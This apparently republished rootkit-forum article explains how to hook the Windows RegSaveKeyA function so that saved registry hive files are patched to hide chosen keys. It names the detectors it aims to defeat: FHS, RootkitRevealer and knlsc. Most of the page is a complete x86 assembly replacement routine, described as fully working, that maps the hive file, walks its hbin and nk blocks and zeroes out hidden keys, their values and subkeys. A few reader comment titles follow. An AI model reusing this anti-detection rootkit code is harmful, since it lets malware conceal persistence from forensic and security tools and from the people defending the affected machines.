现在的位置: 首页 > 综合 > 正文

How to avoid the detection of hidden regkey by hooking RegSaveKeyA

2013年08月29日 ⁄ 综合 ⁄ 共 11206字 ⁄ 字号 评论关闭
How to avoid the detection of hidden regkey by hooking RegSaveKeyA

 By: EiNSTeiN_
How it works:
Many hidden-regkey-detection tools detect hidden stuff by dumping some
registry hives to a file and then compare it to what is returned by some
usualy-hooked function like NtEnumerateKey. Now the first problem is, if we
want to patch the file, is to read it, because the structure of a
registry hive is not documented by microsoft, and I actualy found only one
paper that describe it well enough to understand something.

Lets say we know how to correctly patch it, the question is wich functions
should we hook ? Why not hooking NtSaveKey (higher-level function) instead
of RegSaveKey ? This is the second problem. NtSaveKey (wich is called
internaly by RegSaveKey) take only the key hanlde and the file handle as
parameter.

NtSaveKey(
IN HANDLE KeyHandle,
IN HANDLE FileHandle
);

FileHandle must be a valid handle to a file object returned by a call to
CreateFile. Unfortunatly, the file is openend most of the time with only
WRITE access (NtSaveKey don't need READ access), and I don't know how to
add the missing READ access. If someone know PLEASE let me know :).

Now what about RagSaveKeyA :
RegSaveKeyA is called with the complete path of the file where to save the
hive, so we'll just have to call the original RegSaveKeyA and then re-open
the file and patch it. This just looks like what we need!

Limitation of the code:
The main way of bypassing this code is if someone dump the
HKLM/SYSTEM/CurrentControlSet/Services hive with RegSaveKey, restore it
with RegRestoreKey and then reboot the computer, all hidden services will
be removed.

You will also have to code a cmp_pchar_with_hidden_regkey_list fucntion,
wich the prototype looks like:
void cmp_pchar_with_hidden_regkey_list(char *keyname, int namesize);
return 1 if the key must be hidden, otherwise return 0

I hope i've been clear enough and everyone understood me, and sorry for my
poor english.

Here's a fully-working replacement function for RegSaveKeyA that bypass
FHS, rootkit revealer and knlsc.

Tested on XP Sp0 and Sp2

      push ebp
      mov ebp, esp
      sub esp, 028h
      /*
       -028            -        DWORD    address of the frist hbin block
       -024            -        DWORD    file opened
       -020            -        DWORD   current data-block addr
       -01C            -        DWORD    current data-block size
       -018            -        DWORD   offset to the next hbin block (size
of current block)
       -014            -        DWORD    address of the current hbin block
       -010            -        DWORD    total data-blocks size
       -00C            -        LPVOID    MappedView
       -008            -        HANDLE    MappedFile
       -004            -        BOOL    LResult
       +008            -        HANDLE    KeyHandle
       +00C            -        LPCTSTR
lpFile                                 //HANDLE FileHandle
       +010            -        LPSECURITY_ATTRIBUTES lpSecurityAttributes
      */

      //*********************************
      //CALL THE ORIGINAL RegSaveKey HERE
      //*********************************

      push 0
      push 0
      push OPEN_EXISTING
      push 0
      push 0
      push GENERIC_WRITE|GENERIC_READ
      push [ebp+00Ch]
      call [CreateFileA]
      cmp eax, -1 //INVALID_HANDLE_VALUE
      je go_ret
      /* msdn:
      If the function succeeds, the return value is an open handle to the
specified file.
      If the function fails, the return value is INVALID_HANDLE_VALUE.
      */
      mov [ebp-024h], eax

      //call CreateFileMapping(File Handle)
      push 0                //name = NULL
      push 0 //[ebp-024h]    //size low
      push 0                //size high = 0
      push PAGE_READWRITE    //protect = read and write access
      push 0                //attributes = NULL
      push [ebp-024h]        //file handle
      call [CreateFileMapping]
      mov [ebp-008h], eax
      /* msdn:
      If the function succeeds, the return value is a handle to the file
mapping object.
      If the function fails, the return value is NULL.
      */
      cmp dword ptr [ebp-008h], 0
      je  close_file

      //call MapViewOfFile(mapped file)
      push 0                            //bytes to map = 0 (map all)
      push 0                            //offset low = 0
      push 0                            //offset high = 0
      push FILE_MAP_READ|FILE_MAP_WRITE    //desired access
      push [ebp-008h]                    //file mapping object
      call [MapViewOfFile]
      mov [ebp-00Ch], eax
      /* msdn:
      If the function succeeds, the return value is the starting address of
the mapped view.
      If the function fails, the return value is NULL.
      */
      cmp dword ptr [ebp-00Ch], 0
      je  close_map

      //now, patch the file !

      //first we check for the regf (registry file) header
      mov eax, [ebp-00Ch]
      mov edi, [eax]
      cmp edi, 066676572h // 'regf'
      jne unmap_view //seems to be not a registry file :s

      //save total size of all blocks
      mov edi, [eax+028h]
      mov [ebp-010h], edi
      //do some preparing for the upcoming loop
      mov [ebp-014h], eax
      mov dword ptr [ebp-018h], 01000h

      //save address of the first hbin block
      add eax, 01000h
      mov [ebp-028h], eax
    process_next_hbin:
      //jump to the next hbin block
      mov eax, [ebp-014h] //addr
      add eax, [ebp-018h] //size

      //confirm we got bin header block
      mov edi, [eax]
      cmp edi, 06E696268h // 'hbin'
      jne unmap_view //seems to be not a bin header :s

      //backup addr of current hbin block
      mov [ebp-014h], eax

      //save offset to the next hbin block
      mov edi, [eax+008h]
      mov [ebp-018h], edi
      cmp dword ptr [ebp-018h], 0
      je unmap_view //seems we have a hbin block with a size of zero. exit
for no deadlock

      //check if we reached the data-blocks size
      mov edi, [ebp-014h]
      sub edi, [ebp-00Ch]
      mov esi, [ebp-010h]
      cmp edi, esi
      jae unmap_view

      //do some preparing for the next loop
      mov [ebp-020h], eax
      mov dword ptr [ebp-01Ch], 020h
    process_next_datablock:
      //_emit 0xCC
      //jump to the next data-block
      mov eax, [ebp-020h] //addr
      add eax, [ebp-01Ch] //size

      //save current size
      mov edi, [eax]
      cmp edi, [ebp-018h]
      jb not_neg //if offset is inside the hbin block
      not edi
      inc edi
    not_neg:
      lea edi, [edi-004]
      mov [ebp-01Ch], edi
      cmp dword ptr [ebp-01Ch], 0
      je process_next_hbin //seems we have a data-block with a size of
zero. go to next hbin for no deadlock

      //check for hbin block
      cmp dword ptr [eax], 06E696268h // 'hbin'
      je  process_next_hbin

      //save current address
      add eax, 4
      mov [ebp-020h], eax

      //check if we reached the data-blocks size
      mov edi, [ebp-014h]
      sub edi, [ebp-00Ch]
      mov esi, [ebp-010h]
      cmp edi, esi
      jae unmap_view

      //check for hbin block
      //cmp dword ptr [eax], 06E696268h // 'hbin'
      //je  process_next_hbin

      //check for nk
      cmp word ptr [eax], 06B6Eh // 'nk'
      //je  process_nk_block

      //found a block that we don't need to process now
      jne process_next_datablock
      //-------- end of loop

      //patch each blocks
    process_nk_block:
      cmp word ptr [eax+002h], 02Ch
      je process_nk_block_rootkey //got a rootkey: we have nothing to do
with that
      cmp word ptr [eax+002h], 020h
      jne process_nk_block_end //got something else than what expected

      //process the key record

      xor ecx,ecx
      mov cx, word ptr [eax+048h]    //ecx = len
      lea edi, [eax+04Ch]            //edi = name

      //check if the key name must be hidden
      //if it is, fill the content of the key block and its value-blocks
with zeros. same for sub-keys
      push ecx //len
      push edi //name
      call [cmp_pchar_with_hidden_regkey_list]
      cmp eax, 1
      jne process_nk_block_end //not to hide, exit

      //call the nk cleaning function
      push [ebp-028h] //first hbin block
      push [ebp-020h] //nk block
      call [clean_nk]
      jmp process_nk_block_end

      // void clean_nk(PVOID nk_block, PVOID hbin_block);
    clean_nk:
      push ebp
      mov ebp, esp
      sub esp, 008h
      /*
        -010 subkeys list address
        -00C number of subkeys
        -008 value list address
        -004 number of values
        +008 address of nk block
        +00C address of hbin block (because all offsets are relative to
this block)
      */
      push esi
      push edi
      push ecx

      //get the value list
      mov eax, [ebp+008h] //nk
      mov edi, [eax+028h] //offset to value list
      cmp edi, -1
      je clean_nk_subkey_start
      cmp edi, 0
      je clean_nk_subkey_start
      add edi, [ebp+00Ch] //hbin
      add edi, 4
      mov [ebp-008h], edi

      //get the value list size
      mov ecx, [edi-004h]
      not ecx
      inc ecx
      lea ecx, [ecx-004]
      mov [ebp-004h], ecx

      //clean it
      xor esi, esi
    clean_nk_loop_value:
      mov edi, [ebp-008h] //value list addr
      mov eax, [edi+esi]  //address of entry
      cmp eax, -1
      je clean_nk_loop_end
      cmp eax, 0
      je clean_nk_loop_end
      add eax, [ebp+00Ch] //hbin

      push [ebp+00Ch]
      push eax        //address of vk entry
      call [clean_value]

    clean_nk_loop_end:
      mov dword ptr [edi+esi], 0
      add esi, 4
      cmp ecx, esi
      ja clean_nk_loop_value

    clean_nk_subkey_start:
      //get sub-keys lf record
      mov eax, [ebp+008h] //nk block
      mov edi, [eax+01Ch] //offset to lf record
      cmp edi, -1
      je clean_nk_block_start
      cmp edi, 0
      je clean_nk_block_start
      add edi, [ebp+00Ch] //hbin block
      mov esi, [edi]
      not esi
      inc esi
      lea esi, [esi-004]
      lea esi, [esi-004]
      mov [ebp-00Ch], esi //number of subkey
      add edi, 8
      mov [ebp-010h], edi //address of subkey list

      //clean it
      mov ecx, esi
      xor esi, esi
    clean_nk_loop_subkey:
      mov eax, [ebp+00Ch] //hbin
      mov edi, [ebp-010h] //value list addr
      add eax, [edi+esi]  //address of entry

      push [ebp+00Ch]
      add eax, 4
      push eax           //address of nk entry
      call [clean_nk]

      mov dword ptr [edi+esi], 0
      mov dword ptr [edi+esi+4], 0
      add esi, 8
      cmp ecx, esi
      ja clean_nk_loop_subkey

    clean_nk_block_start:
      mov edi, [ebp+008h]
      mov ecx, [edi-004]
      not ecx
      inc ecx
      lea ecx, [ecx-004]

    clean_nk_zero_next:
      mov byte ptr [edi+ecx-1], 000h
      loop clean_nk_zero_next

    //clean_nk_exit:
      pop ecx
      pop edi
      pop esi
      leave
      ret 008h
      // ------------------ endp

      // void clean_value(PVOID vk_block, PVOID hbin_block);
    clean_value:
      push ebp
      mov ebp, esp
      sub esp, 000h
      /*
        +008 address of vk block
        +00C address of hbin block
      */
      push esi
      push edi
      push ecx

      //prepare for the loop
      mov esi, [ebp+008h]
      mov ecx, [esi] //size of block
      not ecx
      inc ecx
      lea ecx, [ecx-004]
      lea edi, [esi+004h]

      cmp word ptr [edi], 0x6B76 // 'vk'
      jne clean_value_end //check if we realy have a vk block

      cmp dword ptr [edi+00Ch], 4 //the data is stored in the offset field
      je no_data_to_clean

      mov esi, [edi+008h]
      cmp esi, 0
      je no_data_to_clean
      cmp esi, -1
      je no_data_to_clean
      add esi, [ebp+00Ch]
      push esi
      call [clean_vk_data]
    no_data_to_clean:

      //ecx = size of vk block
      //edi = address of vk block
    clean_value_zero_next:
      mov byte ptr [edi+ecx-1], 000h
      loop clean_value_zero_next

    clean_value_end:
      pop ecx
      pop edi
      pop esi
      leave
      ret 008h
      // ------------------ endp

      // void clean_vk_data(PVOID vk_data);
    clean_vk_data:
      push ebp
      mov ebp, esp
      sub esp, 000h
      /*
        +008 address of vk data
      */
      push esi
      push edi
      push ecx

      mov edi, [ebp+008h]
      mov ecx, [edi]
      add edi, 4
      not ecx
      inc ecx
      lea ecx, [ecx-004]

      //ecx = size of vk block
      //edi = address of vk block
    clean_vk_data_zero_next:
      mov byte ptr [edi+ecx-1], 000h
      loop clean_vk_data_zero_next

    //clean_vk_data_end:
      pop ecx
      pop edi
      pop esi
      leave
      ret 004h
      // ------------------ endp

    process_nk_block_rootkey:
    process_nk_block_end:
      jmp process_next_datablock

    unmap_view:
      //call UnmapViewOfFile(mapped view)
      push [ebp-00Ch]
      call [UnmapViewOfFile]

    close_map:
      //call CloseHandle(mapped file)
      push [ebp-008h]
      call [CloseHandle]

    close_file:
      push [ebp-024h]
      call [CloseHandle]
read comments (7) / write comment

recent comments:
typedefs & more details EiNSTeiN_ 24.Mar:20:12
Support Tools from Sysinternals.com kangeroo_4u 21.Mar:06:46
good,but.... ntsystem 20.Mar:16:36
work still needed on the code ... EiNSTeiN_ 20.Mar:16:32
BTW nice work! dsei 20.Mar:00:32
. . .

抱歉!评论已关闭.